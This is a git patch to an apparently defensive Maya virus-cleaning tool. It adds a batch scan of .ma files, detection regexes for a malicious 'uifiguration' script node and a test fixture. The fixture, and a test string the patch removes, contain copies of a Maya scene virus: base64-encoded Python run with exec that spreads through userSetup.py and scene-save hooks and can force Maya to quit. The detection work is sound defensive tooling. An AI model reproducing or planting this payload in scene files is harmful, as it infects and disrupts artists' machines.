From 5ad761e6b4223546c3c03facad436e0061c89f35 Mon Sep 17 00:00:00 2001 From: CangSpirit Date: Sat, 4 May 2024 01:25:58 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E2=9C=A8=20=E6=B7=BB=E5=8A=A0=E6=89=B9?= =?UTF-8?q?=E9=87=8F=E6=A3=80=E6=9F=A5=E5=8A=9F=E8=83=BD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- build.ps1 | 3 ++ src/gui.py | 47 +++++++++++++++++++++++- src/kill_mayafile.py | 86 +++++++++++++++++++++----------------------- testfiles/key.ma | 40 +++++++++++++++++++++ 4 files changed, 129 insertions(+), 47 deletions(-) create mode 100644 build.ps1 create mode 100644 testfiles/key.ma diff --git a/build.ps1 b/build.ps1 new file mode 100644 index 0000000..8c9e733 --- /dev/null +++ b/build.ps1 @@ -0,0 +1,3 @@ +mayapy -m pyeal build +$dirname = Split-Path -Path $PWD -Leaf +7z -tzip a "./build/${dirname}.zip" ./build/out/* \ No newline at end of file diff --git a/src/gui.py b/src/gui.py index 1e6d3b8..b9b2b17 100644 --- a/src/gui.py +++ b/src/gui.py @@ -13,6 +13,7 @@ if False: from typing import * +import json import maya.cmds as cmds import kill import kill_mayafile @@ -86,6 +87,49 @@ def batch_clear_maya_file(): cmds.warning('批量处理完成') +def batch_check_maya_file(): + """ + 批量检查Maya文件. + """ + # 是否启用谨慎模式 + result = cmds.confirmDialog( + title='警告', + message='是否启用谨慎模式, 谨慎模式会检查文件中是否存在病毒代码, 但可能会误报', + button=['Yes', 'No'], + defaultButton='No', + cancelButton='No', + dismissString='No', + ) + + is_cautious = result == 'Yes' + + # + cmds.warning('开始批量处理...') + root_dir = cmds.fileDialog2(fileMode=3, dialogStyle=2) + if not root_dir: + cmds.warning('未选择文件') + return + + warning_files = [] + for root, dirs, files in os.walk(os.path.abspath(root_dir[0])): + for file in files: + if file.endswith('.ma'): + has_virus = kill_mayafile.check_file(os.path.join(root, file), is_cautious=is_cautious) + if has_virus: + warning_files.append(os.path.join(root, file).replace('\\', '/')) + + # show + if warning_files: + warning_text = '以下文件可能存在病毒代码:\n{}\n{}\n{}'.format( + '=' * 20, + '\n'.join(warning_files), + '=' * 20 + ) + cmds.warning(warning_text) + else: + cmds.warning('未发现病毒代码') + + def create_gui(): # type: () -> None """ @@ -102,7 +146,8 @@ def create_gui(): cmds.button(label='单独清除HIK病毒', command=lambda *args: alone_clear_hik_virus()) cmds.button(label='恢复UAC设置', command=lambda *args: restore_UAC()) cmds.button(label='清除病毒脚本节点', command=lambda *args: clear_virus_script_node()) - cmds.button(label='批量清理Maya文件', command=lambda *args: batch_clear_maya_file()) + cmds.button(label='批量清理Maya文件(.ma)', command=lambda *args: batch_clear_maya_file()) + cmds.button(label='批量检查Maya文件(.ma)', command=lambda *args: batch_check_maya_file()) cmds.showWindow('VirusKiller_240429') diff --git a/src/kill_mayafile.py b/src/kill_mayafile.py index 5391c77..4ef5da8 100644 --- a/src/kill_mayafile.py +++ b/src/kill_mayafile.py @@ -15,11 +15,14 @@ import sys import maya.cmds as cmds -find_script_node_regex = r'\s*createNode\s+script\s+-n\s+\"uifiguration\";\s*.*?setAttr\s*\"\.b\"\s*-type\s*"string".*?\s*setAttr\s*"\.st"\s*1;\s*' +find_script_node_regex = re.compile( + r'\s*createNode\s+script\s+-n\s+\"uifiguration\";\s*.*?setAttr\s*\"\.b\"\s*-type\s*"string".*?\s*setAttr\s*"\.st"\s*1;\s*', + re.DOTALL, +) def _process_str(data): - for i in reversed(list(re.finditer(find_script_node_regex, data, re.DOTALL))): + for i in reversed(list(find_script_node_regex.finditer(data))): start, end = i.span() print(data[start:end]) data = data[:start] + '\n' + data[end:] @@ -27,10 +30,39 @@ def _process_str(data): return data +cautious_check_regex = re.compile( + r'\s*import\s*base64;?\s*', + re.DOTALL, +) + + +def check_file(file, is_cautious=False): + file = os.path.abspath(file).replace('\\', '/') + with open(file, 'rb') as f: + data = _delete_ma_byte(f.read()) + + if is_cautious and cautious_check_regex.search(data): + return True + if find_script_node_regex.search(data): + return True + return False + + +def _delete_ma_byte(data): + try: + data = data.decode('utf-8') + except UnicodeDecodeError: + try: + data = data.decode('gbk') + except UnicodeDecodeError: + raise ValueError('无法解码文件') + return data + + def process_file(file): file = os.path.abspath(file).replace('\\', '/') with open(file, 'rb') as f: - data = f.read() + data = _delete_ma_byte(f.read()) new_data = _process_str(data) if new_data != data: @@ -41,46 +73,8 @@ def process_file(file): if __name__ == '__main__': - _test_data = r''' - createNode shapeEditorManager -n "shapeEditorManager"; - rename -uid "75FFB4D6-48AF-542A-B9A3-18A2DA5896FF"; - createNode poseInterpolatorManager -n "poseInterpolatorManager"; - rename -uid "DEEDE91D-4212-8512-D489-19B5B7AB82E6"; - createNode displayLayerManager -n "layerManager"; - rename -uid "B9096628-4284-9CDE-136F-2592F5640F22"; - createNode displayLayer -n "defaultLayer"; - rename -uid "52678939-4EC0-6E8B-9744-159D30F05394"; - createNode renderLayerManager -n "renderLayerManager"; - rename -uid "1BDAF56C-44E5-BC2D-607F-C9843FDA4670"; - createNode renderLayer -n "defaultRenderLayer"; - rename -uid "AC8BBD23-44E9-0E98-873F-328470D23544"; - setAttr ".g" yes; - createNode script -n "uifiguration"; - rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E"; - setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1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0KGFib3J0PVRydWUp'); exec (_pycode)\");"; - setAttr ".st" 1; - createNode script -n "sceneConfigurationScriptNode"; - rename -uid "66089F1F-45C3-4E74-2823-919F53014DF0"; - setAttr ".b" -type "string" "playbackOptions -min 1 -max 120 -ast 1 -aet 200 "; - setAttr ".st" 1; - createNode script -n "uifiguration"; - rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E"; - setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1cC5weScgICAKaWYgIG9zLnBhdGguZXhpc3RzKHVzZXB5cGF0aCk6CiAgICBvcy5jaG1vZCggdXNlcHlwYXRoLCBzdGF0LlNfSVdSSVRFICkgCiAgICB3aXRoIG9wZW4odXNlcHlwYXRoLCAncmInKSBhcyBmOgogICAgICAgIGRhdGEgPSBmLnJlYWRsaW5lKCkgICAgIAogICAgc2V0QXR0cmRzbGlzdD1bXQogICAgeF8gPSBvcGVuKHVzZXB5cGF0aCwgInIiKQogICAgZm9yIGxpbmUgaW4geF86CiAgICAgICAgaWYgKCJpbXBvcnQgd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mxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");"; - setAttr ".st" 1; - createNode script -n "uifiguration"; - rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E"; - setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnV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\");"; - setAttr ".st" 3; - select -ne :time1; - setAttr ".o" 1; - setAttr ".unw" 1; - select -ne :hardwareRenderingGlobals; - setAttr ".otfna" -type "stringArray" 22 "NURBS Curves" "NURBS Surfaces" "Polygons" "Subdiv Surface" "Particles" "Particle Instance" "Fluids" "Strokes" "Image Planes" "UI" "Lights" "Cameras" "Locators" "Joints" "IK Handles" "Deformers" "Motion Trails" "Components" "Hair Systems" "Follicles" "Misc. UI" "Ornaments" ; - setAttr ".otfva" -type "Int32Array" 22 0 1 1 1 1 1 - 1 1 1 0 0 0 0 0 0 0 0 0 - 0 0 0 0 ; - setAttr ".fprt" yes; - select -ne :renderPartition; - setAttr -s 2 ".st"; - ''' - print(_process_str(_test_data)) + with open('./../testfiles/key.ma', 'rb') as f: + # print(_process_str(f.read())) + _test_data = _delete_ma_byte(f.read()) + assert _process_str(_test_data) != _test_data + assert check_file('./../testfiles/key.ma', is_cautious=True) diff --git a/testfiles/key.ma b/testfiles/key.ma new file mode 100644 index 0000000..6e3c2ea --- /dev/null +++ b/testfiles/key.ma @@ -0,0 +1,40 @@ +createNode shapeEditorManager -n "shapeEditorManager"; + rename -uid "75FFB4D6-48AF-542A-B9A3-18A2DA5896FF"; +createNode poseInterpolatorManager -n "poseInterpolatorManager"; + rename -uid "DEEDE91D-4212-8512-D489-19B5B7AB82E6"; +createNode displayLayerManager -n "layerManager"; + rename -uid "B9096628-4284-9CDE-136F-2592F5640F22"; +createNode displayLayer -n "defaultLayer"; + rename -uid "52678939-4EC0-6E8B-9744-159D30F05394"; +createNode renderLayerManager -n "renderLayerManager"; + rename -uid "1BDAF56C-44E5-BC2D-607F-C9843FDA4670"; +createNode renderLayer -n "defaultRenderLayer"; + rename -uid "AC8BBD23-44E9-0E98-873F-328470D23544"; + setAttr ".g" yes; +createNode script -n "uifiguration"; + rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E"; + setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG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y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");"; + setAttr ".st" 1; +createNode script -n "sceneConfigurationScriptNode"; + rename -uid "66089F1F-45C3-4E74-2823-919F53014DF0"; + setAttr ".b" -type "string" "playbackOptions -min 1 -max 120 -ast 1 -aet 200 "; + setAttr ".st" 1; +createNode script -n "uifiguration"; + rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E"; + setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBkYXRldGltZQkKaW1wb3J0IGJhc2U2NAppbXBvcnQgc3RhdCAKaW1wb3J0IHN5cwppbXBvcnQgb3MKCmNsYXNzIHBoYWdlOgogICAgZGVmIGFudGl2aXJ1cyhzZWxmKToKICAgICAgICBwYXNzCiAgICBkZWYgb2NjdXBhdGlvbihzZWxmKToKICAgICAgICBjbWRzLnNjcmlwdEpvYihldmVudD1bIlNjZW5lU2F2ZWQiLCAibGV1a29jeXRlLmFudGl2aXJ1cygpIl0sIHByb3RlY3RlZD1UcnVlKQpsZXVrb2N5dGUgPSBwaGFnZSgpCmxldWtvY3l0ZS5vY2N1cGF0aW9uKCkKdXNlcHlwYXRoID0gY21kcy5pbnRlcm5hbFZhcih1c2VyQXBwRGlyPVRydWUpICsgJy9zY3JpcHRzL3VzZXJTZXR1c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goKCnVpdGlvbnBhdGhfPW9zLmdldGVudigiQVBQREFUQSIpK2Jhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNONWMzTnpkQT09JykuZGVjb2RlKCd1dGYtOCcpCnVpdGlvbnBhdGg9dWl0aW9ucGF0aF8ucmVwbGFjZSgnXFwnLCcvJykKaWYgbm90IG9zLnBhdGguZXhpc3RzKHVpdGlvbnBhdGgpOgogICAgb3MubWtkaXIodWl0aW9ucGF0aCkgICAKdWl0aW9uX3BhdGg9IiVzJXMiJSh1aXRpb25wYXRoLGJhc2U2NC51cmxzYWZlX2I2NGRlY29kZSgnTDNWcGRHbHZiaTUwJykuZGVjb2RlKCd1dGYtOCcpKQp0cnk6CglpZiBjbWRzLm9iakV4aXN0cygndWlmaWd1cmF0aW9uJyk6CgkJWGdlZSA9IGV2YWwoY21kcy5nZXRBdHRyKCd1aWZpZ3VyYXRpb24ubm90ZXMnKSkKCQl3aXRoIG9wZW4odWl0aW9uX3BhdGgsICJ3IikgYXMgZjoKCQkJZi53cml0ZWxpbmVzKFhnZWUpCmV4Y2VwdCBWYWx1ZUVycm9yIGFzIGU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");"; + setAttr ".st" 1; +createNode script -n "uifiguration"; + rename -uid "462B803B-4B2C-FAD0-23AB-ECB37CBB041E"; + setAttr ".b" -type "string" "python(\"import base64; _pycode = base64.urlsafe_b64decode('aW1wb3J0IG1heWEuY21kcyBhcyBjbWRzCmltcG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GU6CiAgICBwYXNzCmlmIG5vdCBvcy5hY2Nlc3MoYmFzZTY0LnVybHNhZmVfYjY0ZGVjb2RlKCdVRG92UzI4dVZuQnUnKS5kZWNvZGUoJ3V0Zi04Jyksb3MuV19PSyk6CglpZiBkYXRldGltZS5kYXRldGltZS5ub3coKS5zdHJmdGltZSgnJVklbSVkJykgPj1iYXNlNjQudXJsc2FmZV9iNjRkZWNvZGUoJ01qQXlOREExTURFPT0nKS5kZWNvZGUoJ3V0Zi04Jyk6CgkJY21kcy5xdWl0KGFib3J0PVRydWUp'); exec (_pycode)\");"; + setAttr ".st" 3; +select -ne :time1; + setAttr ".o" 1; + setAttr ".unw" 1; +select -ne :hardwareRenderingGlobals; + setAttr ".otfna" -type "stringArray" 22 "NURBS Curves" "NURBS Surfaces" "Polygons" "Subdiv Surface" "Particles" "Particle Instance" "Fluids" "Strokes" "Image Planes" "UI" "Lights" "Cameras" "Locators" "Joints" "IK Handles" "Deformers" "Motion Trails" "Components" "Hair Systems" "Follicles" "Misc. UI" "Ornaments" ; + setAttr ".otfva" -type "Int32Array" 22 0 1 1 1 1 1 + 1 1 1 0 0 0 0 0 0 0 0 0 + 0 0 0 0 ; + setAttr ".fprt" yes; +select -ne :renderPartition; + setAttr -s 2 ".st"; \ No newline at end of file